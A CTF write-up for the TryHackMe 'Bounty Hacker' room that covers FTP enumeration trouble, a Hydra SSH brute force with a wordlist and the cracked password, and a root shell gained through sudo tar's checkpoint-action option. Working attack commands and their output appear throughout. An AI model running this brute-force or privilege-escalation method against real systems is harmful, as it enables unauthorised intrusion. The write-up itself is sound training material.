> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Bounty Hacker Writeup: FTP Woes, Hydra SSH Brute Force & tar Privesc
- URL: https://taiwanding.com/en/tryhackme-bounty-hacker-writeup/
- Published: 2025-09-30T15:07:15.000Z
- Updated: 2026-07-15T02:49:52.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Room Information

- **Platform**: TryHackMe
- **Room Name**: Bounty Hacker
- **Difficulty**: Easy
- **Goal**: Capture user.txt and root.txt
- **Theme**: Cowboy Bebop anime theme
- **Link**: https://tryhackme.com/room/cowboyhacker
- Note: I ran into some odd behaviour on this machine, so for a few parts I had to lean on someone else's [writeup](https://0xastroo.medium.com/bounty-hacker-tryhackme-walkthrough-63458491e82f?ref=taiwanding.com) to keep making progress. Take it with a grain of salt.

## Service Discovery

```bash
nmap -sC -sV 10.10.x.x -Pn

```

**Open ports:**

- Port 21: vsftpd 3.0.5 (note: the original version was 3.0.3)
- Port 22: OpenSSH 7.2p2
- Port 80: Apache httpd 2.4.41

## Step 1: Discovering the FTP Problem

Trying an anonymous login:

```bash
ftp 10.10.184.14
Name: anonymous
Password: (just hit Enter)
230 Login successful.

```

**And then the trouble started:**

```bash
ftp> ls
550 Permission denied.
500 Illegal PORT command.
ftp: Can't bind for data connection: Address already in use

```

## Step 2: Trying Various Fixes (All of Which Failed)

### Attempt 1: Passive Mode

```bash
ftp> passive
Passive mode: on
ftp> ls
550 Permission denied.

```

### Attempt 2: Using lftp

```bash
lftp ftp://anonymous@10.10.184.14
lftp> ls
`ls' at 0 [550 Permission denied.]

```

### Attempt 3: Using wget

```bash
wget ftp://anonymous:anonymous@10.10.184.14/locks.txt
# Result: Cannot initiate PASV transfer

```

## Step 3: Analysing the Problem

**Root cause:**

1. vsFTPd was upgraded from 3.0.3 to 3.0.5
2. A passive mode configuration issue (it may be responding with a 0,0,0,0 address)

## Step 4: A Workaround

I learned the file contents from another writeup:

**Contents of task.txt:**

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin

```

**Contents of locks.txt:** (a password wordlist)

```
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
[...more passwords...]
RedDr4gonSyndicat3

```

## Step 5: SSH Brute Force

Brute forcing with Hydra:

```bash
# Create a local locks.txt file (copy the contents above)
hydra -l lin -P locks.txt 10.10.184.14 ssh -t 4

# Password found successfully
[22][ssh] host: 10.10.184.14   login: lin   password: RedDr4gonSynd1cat3

```

## Step 6: Grabbing the User Flag

```bash
ssh lin@10.10.184.14
lin@bountyhacker:~$ ls
lin@bountyhacker:~$ cat user.txt
THM{Redacted}

```

## Step 7: Privilege Escalation Recon

```bash
lin@bountyhacker:~$ sudo -l
User lin may run the following commands on bountyhacker:
    (root) /bin/tar

```

## Step 8: GTFOBins Exploitation

According to [GTFOBins](https://gtfobins.github.io/gtfobins/tar/?ref=taiwanding.com#sudo):

```bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# Got a root shell
# whoami
root

```

## Step 9: Grabbing the Root Flag

```bash
# cat /root/root.txt
THM{Redacted}

```

## Key Takeaways

### The FTP Version Issue

- The **vsFTPd 3.0.3 → 3.0.5** version change caused compatibility problems
- Passive mode can break under certain configurations

### Debugging Techniques I Tried

- Tested multiple FTP clients (ftp, lftp, wget, curl)
- Toggled between Active/Passive mode
- Used different authentication methods
- Specified the filename directly to download it

## Lessons Learned

### On FTP version changes:

CTF rooms can behave unexpectedly after an update:

- In real-world engagements you'll also run into misconfigured services
- Learning to work around a problem is more useful than fixing it
- Keep a mindset of always having backup approaches
- Leave a record for the community, and make it easier for others to grab the necessary info from alternative sources